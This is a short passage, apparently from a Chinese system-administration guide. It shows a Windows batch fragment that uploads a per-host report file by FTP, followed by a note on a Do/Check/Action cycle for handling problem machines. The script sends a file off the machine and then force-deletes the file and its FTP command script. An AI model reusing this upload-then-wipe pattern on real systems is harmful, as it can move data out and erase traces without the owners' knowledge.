echo hash>> ftp.cmd.txt
echo put %ip%.txt>> ftp.cmd.txt
echo quit>> ftp.cmd.txt
ftp -s:ftp.cmd.txt
del /f /q /s %ip%.txt
del /f /q /s ftp.cmd.txt

timeout /T 10

 

第三步 (Action)
最后对这些有问题主机配置策略做进一步分析处理.
1、Do(执行)
2、Check(检查)
3、Action(处理) 来完成所有任务。这样来完成的话就会减少漏掉或和失败机器数量。